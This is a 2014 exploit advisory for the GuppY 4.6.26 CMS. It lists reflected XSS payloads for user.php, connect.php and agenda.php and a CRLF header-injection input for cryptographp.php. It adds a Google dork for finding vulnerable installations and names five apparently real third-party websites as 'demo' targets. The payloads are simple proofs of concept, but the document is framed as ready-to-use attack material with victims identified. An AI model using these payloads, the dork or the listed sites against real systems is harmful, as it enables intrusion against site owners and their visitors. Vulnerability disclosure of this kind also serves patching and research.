GuppY 4.6.26 XSS / CRLF Injection

2014.03.20
Credit: Dr.3v1l
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

####################################################################### # # Exploit Title: # GuppY 4.6.26 CRLF Injection # GuppY 4.6.26 Cross site scripting # Date: 2014 18 March # Author: Dr.3v1l # Vendor Homepage: http://freeguppy.org # Version : 4.6.26 # Tested on: Windows # Category: webapps # Google Dork: intext:"Powered by GUPPY" # ####################################################################### # # [+] Exploit (CRLF): # # http://<server>/guppy/plugins/cryptographp/cryptographp.php?cfg=[CRLF_Injection] # # This vulnerability affects /plugins/cryptographp/cryptographp.php. # Discovered by: Scripting (CRLF_Injection.script). # Attack details : # URL encoded GET input cfg was set to SomeCustomInjectedHeader:injected_by_3v1l # Injected header found: # SomeCustomInjectedHeader: injected_by_3v1l # ####################################################################### # # [+] Exploit (XSS): # # http://<server>/guppy/user.php # # URL encoded GET input parameters (uuid , cnt) was set to : # "><script>alert(/xss/)</script> # # http://<server>/guppy/connect.php # # URL encoded POST input uid was set to : # alert(/xss/) # The input is reflected inside <script> tag between double quotes. # # http://<server>/guppy/agenda.php # # URL encoded POST input an was set to : # "><script>alert(/xss/)</script> # The input is reflected inside a tag parameter between double quotes. # ####################################################################### # # [+] Demo : # # http://guppytop.com # http://guppy.424.pl # http://camping.tuffe.fr # http://jipli.org/scotland/ # http://ksweb.ru/mobile/?lng=ru # ####################################################################### # # [+] Contact Me : # # B.Devils.B@gmail.com # Twitter.com/Doctor_3v1l # Facebook.com/bdb.0web # Facebook.com/groups/1427166220843499/ # IR.linkedin.com/in/hossein3v1l # Hossein Hezami - Black_Devils B0ys # ####################################################################### # B.Devils.B Friends , R.H.H (UnderGround) , IeDB.IR , IrSecTeam #######################################################################


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